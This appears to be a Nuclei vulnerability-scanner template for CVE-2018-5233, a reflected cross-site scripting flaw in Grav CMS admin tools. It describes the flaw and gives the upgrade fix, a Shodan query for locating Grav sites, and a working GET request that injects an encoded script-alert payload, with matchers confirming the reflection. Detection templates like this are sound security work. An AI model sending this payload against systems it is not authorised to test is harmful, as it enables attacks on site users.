58 lines
1.7 KiB
YAML
58 lines
1.7 KiB
YAML
id: CVE-2018-5233
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info:
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name: Grav CMS <1.3.0 - Cross-Site Scripting
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author: pikpikcu
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severity: medium
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description: |
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Grav CMS before 1.3.0 is vulnerable to cross-site scripting via system/src/Grav/Common/Twig/Twig.php and allows remote attackers to inject arbitrary web script or HTML via the PATH_INFO to admin/tools.
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remediation: |
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Upgrade Grav CMS to version 1.3.0 or later, which includes proper input sanitization to mitigate the XSS vulnerability.
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reference:
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- https://sysdream.com/news/lab/2018-03-15-cve-2018-5233-grav-cms-admin-plugin-reflected-cross-site-scripting-xss-vulnerability/
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- http://www.openwall.com/lists/oss-security/2018/03/15/1
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- https://nvd.nist.gov/vuln/detail/CVE-2018-5233
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classification:
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cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 6.1
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cve-id: CVE-2018-5233
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cwe-id: CWE-79
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epss-score: 0.00295
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epss-percentile: 0.65777
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cpe: cpe:2.3:a:getgrav:grav_cms:*:*:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: getgrav
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product: grav_cms
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shodan-query: html:"Grav CMS"
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tags: cve,cve2018,xss,grav
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http:
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- method: GET
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path:
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- "{{BaseURL}}/admin/tools/a--%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- '</script><script>alert(document.domain)</script>'
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- type: word
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part: body
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words:
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- '/themes/grav'
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- 'Grav Admin Login'
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- 'data-grav-'
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condition: or
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- type: word
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part: header
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words:
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- text/html
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- type: status
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status:
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- 200
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